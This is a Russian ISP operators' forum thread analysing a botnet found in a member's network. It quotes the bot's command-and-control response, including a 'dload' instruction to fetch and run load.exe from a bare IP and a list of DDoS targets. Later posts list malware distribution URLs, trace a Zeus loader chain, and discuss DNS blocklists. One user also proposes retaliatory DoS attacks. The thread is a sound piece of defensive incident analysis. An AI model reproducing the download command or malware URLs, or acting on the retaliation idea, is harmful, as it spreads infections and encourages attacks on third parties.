Jump to content

Первый совместный успех Nag.ru и StopDDOS.ru

kostich

By kostich
in У нага

 Share

Recommended Posts

kostich

kostich

Posted
Posted (edited)

Один из участников форума обнаружил, что машинка из его сети присутствующая в листинге StopDDOS.ru ходит по HTTP на kowaru.cn, а после чего начинает флудит.

 

Повторив манипуляции руками мы обнаружили в ответе с kowaru.cn вот это:

 

wait 20
tid 4

dload http://78.109.21.42/images2/load.exe
rdttp 2 popunder.ru /
rdttp 1 kinotraff.ru /
rdttp 1 loadfilm.ru /
rdttp 1 popsups.ru /
rdttp 1 pop-parad.net /
rdttp 1 www.popbank.ru /
rdttp 2 pop-ip.ru /

 

Могу предположить, что все эти ресурсы сейчас под атакой, а в load.exe дополнительный загрузчик -> http://www.virustotal.com/ru/analisis/c623...c2200f93444dfb4

 

ps. парам пам пам...

Edited by kostich
  • Replies 50
  • Created
  • Last Reply

Top Posters In This Topic

Popular Days

Top Posters In This Topic

Popular Days

mikevlz

mikevlz

Posted
Posted (edited)

Сколько народу использует сервис? Есть статистика по ошибочности?

имеется в виду, сколько операторов у себя это использует из присутствующих?

Edited by mikevlz
kostich

kostich

Posted
  • Author
Posted (edited)
Сколько народу использует сервис? Есть статистика по ошибочности?

имеется в виду, сколько операторов у себя это использует из присутствующих?

Думаю ошибочность тут обходится, т.к. берем к примеру http://www.malwaredomains.com/files/spywaredomains.zones и в /etc/namedb/blockeddomain.hosts отдаем IP HTTP сервера, который будет отдавать что-то всплывающее и информировать пользователя о том, что если он хочет туда зайти, то пускай это пропишет у себя в hosts файле или будет использовать другой ДНС сервер. Там есть еще domains.txt в котором причины добавления домена были. Можно профильтровать, если что.

 

зы. на малваредомайнс.ком уже раз десятый наступаю... раза два только находил того чего у них не было.

 

 

 

Edited by kostich
nuclearcat

nuclearcat

Posted
Posted

kostich спасибо за ссылочку. А вы не могли бы написать у себя где-то рекомендации по таким домен-блеклистам и т.п. в сумме? я бы с удовольствием например у себя все это применил.

 

Также вопрос по теме, у кого-нить есть идея как малой кровью запретить юзерам MX запросы? Или хотя бы распознавать эти запросы и блочить юзера (почти 100% заражен, если шурует хотя бы сотню запросов за последние 5 минут).

 

Просто не положено им ставить мыльные сервера и все тут, для отдельных индивидуумов я могу сделать исключение, если будет нужно, пробросом на другой DNS сервер.

kostich

kostich

Posted
  • Author
Posted
kostich спасибо за ссылочку. А вы не могли бы написать у себя где-то рекомендации по таким домен-блеклистам и т.п. в сумме? я бы с удовольствием например у себя все это применил.

конечно порекомендовал бы использовать StopBadWare.org от Гугла, но как сливать к себе его базу не знаю.

 

 

kostich

kostich

Posted
  • Author
Posted (edited)

Закончилось тем, что вспыл целый кластер для слива malware в т.ч. и на территорию РФ:

 

http://208.66.194.232/40E8001430303030303030303030303030303030303031306C0000018366000000007600000642EB
000530C8D5DCE4
http://208.66.195.15/40E8001430303030303030303030303030303030303031306C0000018366000000007600000642EB
000530C8D5DCE4
http://208.66.195.71/40E8001430303030303030303030303030303030303031306C0000018366000000007600000642EB
000530C8D5DCE4
http://66.232.113.80/40E8001430303030303030303030303030303030303031306C0000018366000000007600000642EB
000530C8D5DCE4
http://75.126.22.226/40E8001430303030303030303030303030303030303031306C0000018366000000007600000642EB
000530C8D5DCE4
http://217.170.77.146/40E8001430303030303030303030303030303030303031306C0000018366000000007600000642EB
000530C8D5DCE4

 

и как тут жить? -> http://www.virustotal.com/ru/analisis/8cc6...dd73784dadaa78d

Edited by kostich
st_re

st_re

Posted
Posted

Неизвестно как себя ведет этот malwaredomains. Как они выносят и проверяют информацию. Бывает, что сломали хостинг, потом вылечили, вынесли все, вылизали. и если админы не знали, что есть такой malwaredomains, то оттуда их сайт не пропадет никогда... или пропадет года через 2.. занос в такой список должен сопровождаться попыткой пинания админов, с выносом по положителной реакции, как минимум.

 

 

kostich

kostich

Posted
  • Author
Posted
Неизвестно как себя ведет этот malwaredomains. Как они выносят и проверяют информацию. Бывает, что сломали хостинг, потом вылечили, вынесли все, вылизали. и если админы не знали, что есть такой malwaredomains, то оттуда их сайт не пропадет никогда... или пропадет года через 2.. занос в такой список должен сопровождаться попыткой пинания админов, с выносом по положителной реакции, как минимум.

да, вот тут их вся сущность отношений с РУНЕТОМ и проявлется...

kostich

kostich

Posted
  • Author
Posted (edited)

За эпизодическими массовыми заражениями как выяснилось стоят господа из http://popups.ru/, которые устраняют своих конкурентов в области pop-under & pop-up трафика.

 

Переливают траф с главной на pop-master.cn, который стоит на сервере 203.117.170.40... ну т.е. там где когда-то жил popups.ru. В _203.117.170.40/~whyme/my/index.php завернули через _http://atomakayan.biz/whyme/index.php и отдают Zeus -> http://www.virustotal.com/ru/analisis/c72c...324e50b5ef9e6a5, который народу отдают с _http://ftp4sales.cn/zeus/ldr.exe, который зареган на тоже лицо что и pop-master.cn на который льют трафик господа из popups.ru

 

popups.ru - 89.188.104.103

pop-master.cn - 203.117.170.40

ftp4sales.cn - 200.63.46.22

atomakayan.biz - 78.109.28.56

 

еще у дурика были: timoxin.cn, orentraff.cn, t1ssot.cn

 

PS. popups.ru вирусы malware zeus

ззы. порадовал каспер -> http://www.virustotal.com/ru/analisis/cbe7...ddb1f232dc8765c, но им отсылал персонально.

Edited by kostich
kostich

kostich

Posted
  • Author
Posted (edited)
которые устраняют своих конкурентов в области pop-under & pop-up трафика.
Kostich, объясните плз, что это означает. Что это за трафик такой?

Рекламный/накруточный трафик во всплывающих окнах над браузером и в появляющихся окнах под браузером. Где-то это делается при закрытии окна, где-то при клике на банеры и т.д... CTR такого трафика маленький, но и трафик дешевый... т.е. 0,5-3$ за 1 тысячу показов.

 

Подобные системы используются иногда _и_ для заражения т.к. имеют механизмы для вычленения подходящих пользователей (user agent, geo location, os version, cookie, etc...) что приводит к заворачиванию на exploits тех кого заведомо заразит на 100% без всякого шума и пыли. Так же хочу обратить внимание, что через данные системы проходят миллионы посетителей в сутки и незаметно заразить 10-30тыс компьютеров для них есть вопрос одного-трех часов и видоизмененных сплойтпак-ов.

 

 

Edited by kostich
kostich

kostich

Posted
  • Author
Posted (edited)
Спасибо, буду иметь в виду. Полезная инфа... у меня в этой области полный пробел в знаниях.

Вот тут еще почитайте -> http://www.suncash.biz/, а за одно обратите внимание где он живёт. Подобные партнерки есть практически для всех стран и любого типа трафика.

 

ps. на сленге "загрузки" или "инсталлы" означают заражение пользовательских компов.

Edited by kostich
kostich

kostich

Posted
  • Author
Posted (edited)
"антивирусный софт, который не конфликтует с другими вирусами и троянами" ©зач0т

это всё фигня по сравнению с тем, что mchost.ru берет бабло в черную от анонимного человека и ложиться грудью на его защиту... отнульраутить бы ***ков по всему префиксу где только можно... но такое развитие маловероятно.

Edited by kostich
edwin

edwin

Posted
Posted

2nuclearcat:

Малой - врятли выйдет.

Верояно самым близким по смыслу станет создание своего патча к L7-filter в iptables , но назвать это МАЛОЙ кровью язык не поворачивается.

Сильвер

Сильвер

Posted
Posted (edited)
Также вопрос по теме, у кого-нить есть идея как малой кровью запретить юзерам MX запросы? Или хотя бы распознавать эти запросы и блочить юзера (почти 100% заражен, если шурует хотя бы сотню запросов за последние 5 минут).
http://citrin.ru/freebsd:ng_ipfw_ng_bpf

С помощью этого же я блокировал передачу файлов через Oscar AOL.

Edited by Сильвер
ugluck

ugluck

Posted
Posted

может, подосить такие сайты? из генераторов? не наказуемо ли это у нас в стране?

на телефонных сетях дос спамерам применяется в китае, говорят неплохо действует. у нас это вроде наказуемо, а жаль..

ugluck

ugluck

Posted
Posted

не завидую. но думаю, что телефонный дос по спамным телефонам - дело атличное. и вообще, еще классики рекомендовали лечить подобное - подобным

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
 Share
Go to topic listing
×
×
  • Create New...
На сайте используются файлы cookie и сервисы аналитики для корректной работы форума и улучшения качества обслуживания. Продолжая использовать сайт, вы соглашаетесь с использованием файлов cookie и с Политикой конфиденциальности.